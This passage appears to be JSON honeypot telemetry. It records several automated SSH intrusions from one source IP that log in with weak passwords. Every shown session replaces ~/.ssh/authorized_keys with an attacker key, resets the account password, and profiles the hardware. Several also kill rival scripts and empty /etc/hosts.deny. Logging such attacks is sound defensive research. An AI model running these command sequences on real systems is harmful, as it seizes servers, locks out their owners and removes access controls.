zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:18:19.682399+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:18:21.130997+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:18:21.198998+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:18:23.262333+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:18:23.330548+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:18:24.242900+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:18:24.312144+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:18:25.633538+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:18:25.700631+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:18:27.800326+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"alamakota","method":"password","accepted":true,"tier":"other"}]} {"id":"8e9aaf29-e88c-4627-8177-0a58996b1ba1","name":"blunt-upland-stonechat","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":60036,"username":"temp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:16:34.039368+00:00","ended_at":"2026-08-26T22:16:35.749635+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2255,"events":[{"seq":1,"at":"2026-08-26T22:16:10.279128+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:16:10.349603+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:16:13.088853+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:16:15.197968+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:16:15.265856+00:00","kind":"input","latency_ms":null,"data":"echo -e \"admin123\\ngYaz3XYo8wMF\\ngYaz3XYo8wMF\"|passwd|bash"},{"seq":6,"at":"2026-08-26T22:16:15.334016+00:00","kind":"input","latency_ms":null,"data":"echo \"admin123\\ngYaz3XYo8wMF\\ngYaz3XYo8wMF\\n\"|passwd"},{"seq":7,"at":"2026-08-26T22:16:15.403995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:16:16.246096+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:16:16.315517+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:16:16.412446+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:16:16.440628+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:16:17.284719+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T22:16:17.355464+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-26T22:16:19.311965+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-26T22:16:19.385293+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T22:16:20.486658+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-26T22:16:20.556499+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-26T22:16:22.272654+00:00","kind":"output","latency_ms":null,"data":" 22:16:22 up 6 days, 19:06, 0 user, load average: 0.24, 0.31, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-26T22:16:22.345916+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-26T22:16:24.189174+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-26T22:16:24.260108+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-26T22:16:26.322855+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-26T22:16:26.400213+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-26T22:16:27.876501+00:00","kind":"output","latency_ms":null,"data":"top - 22:16:27 up 6 days, 19:06, 0 user, load average: 0.24, 0.31, 0.18\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-26T22:16:27.946597+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-26T22:16:29.383034+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-26T22:16:29.459483+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-26T22:16:30.643181+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-26T22:16:30.718737+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-26T22:16:32.158596+00:00","kind":"output","latency_ms":null,"data":"temp"},{"seq":31,"at":"2026-08-26T22:16:32.228733+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-26T22:16:33.969953+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-26T22:16:34.040190+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-26T22:16:35.741500+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"temp","password":"admin123","method":"password","accepted":true,"tier":"other"}]} {"id":"7c80ea31-a5d7-47d8-9d64-fa955b5c95c6","name":"glassy-steady-raven","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":34022,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:14:40.341165+00:00","ended_at":"2026-08-26T22:14:41.446011+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:14:14.333924+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:14:14.405144+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:14:17.598285+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:14:19.041005+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:14:19.109299+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pZ8kXJ4zb0Q2\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:14:19.179321+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:14:19.248681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:14:21.096185+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:14:21.167837+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:14:21.306444+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:14:22.102822+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:14:22.174345+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:14:24.250136+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:14:24.322196+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:14:25.532665+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:14:25.603239+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:14:27.423535+00:00","kind":"output","latency_ms":null,"data":" 22:14:27 up 6 days, 19:04, 0 user, load average: 0.12, 0.14, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:14:27.492511+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:14:29.584797+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:14:29.659668+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:14:31.838111+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:14:31.905942+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:14:33.906913+00:00","kind":"output","latency_ms":null,"data":"top - 22:14:33 up 6 days, 19:04, 0 user, load average: 0.12, 0.14, 0.14\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:14:33.976180+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:14:35.410657+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:14:35.478947+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:14:37.552690+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:14:37.624489+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:14:38.968911+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:14:39.037955+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:14:40.272718+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:14:40.341882+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:14:41.432837+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Vps123456","method":"password","accepted":true,"tier":"other"}]} {"id":"90c527d1-48c6-4a7e-b55d-45fe617f00d2","name":"twilight-salty-skua","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":52062,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:12:36.684422+00:00","ended_at":"2026-08-26T22:12:38.672663+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T22:12:13.089544+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:12:13.158070+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:12:16.306751+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:12:18.127878+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:12:18.195924+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ei1ISaaNPPKm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:12:18.263488+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:12:18.331019+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:12:19.365399+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:12:19.432443+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T22:12:19.561170+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T22:12:21.219858+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:12:21.290070+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:12:22.999529+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:12:23.070509+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:12:24.499315+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:12:24.569610+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:12:25.916813+00:00","kind":"output","latency_ms":null,"data":" 22:12:25 up 6 days, 19:02, 0 user, load average: 0.1, 0.08, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:12:25.984592+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:12:27.137538+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:12:27.208147+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:12:28.046560+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:12:28.115207+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:12:29.558780+00:00","kind":"output","latency_ms":null,"data":"top - 22:12:29 up 6 days, 19:02, 0 user, load average: 0.1, 0.08, 0.11\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:12:29.627032+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:12:30.638833+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:12:30.706520+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:12:32.681232+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:12:32.748574+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:12:34.369026+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:12:34.437092+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:12:36.615557+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:12:36.685071+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:12:38.661827+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"nico","method":"password","accepted":true,"tier":"other"}]} {"id":"bb42f020-30f3-48f4-ba69-533aac8acef4","name":"dapper-frosty-kestrel","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":37444,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:10:41.273002+00:00","ended_at":"2026-08-26T22:10:42.385536+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:10:18.721339+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:10:18.788286+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:10:21.646947+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:10:23.167581+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:10:23.236702+00:00","kind":"input","latency_ms":null,"data":"echo \"root:DRc8YdQbbnFj\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:10:23.304718+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:10:23.372516+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:10:24.047078+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:10:24.216134+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:10:24.283202+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:10:25.178678+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:10:25.248649+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:10:26.731686+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:10:26.800957+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:10:28.714373+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:10:28.783841+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:10:30.157607+00:00","kind":"output","latency_ms":null,"data":" 22:10:30 up 6 days, 19:00, 0 user, load average: 0.11, 0.11, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:10:30.229256+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:10:31.785849+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:10:31.856441+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:10:33.216660+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:10:33.287790+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:10:35.265896+00:00","kind":"output","latency_ms":null,"data":"top - 22:10:35 up 6 days, 19:00, 0 user, load average: 0.11, 0.11, 0.09\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:10:35.335059+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:10:37.133024+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:10:37.201265+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:10:38.552598+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:10:38.628963+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:10:39.488122+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:10:39.559422+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:10:41.206515+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:10:41.273818+00:00","kind":"input","latency_ms":null,"data":"df -h | 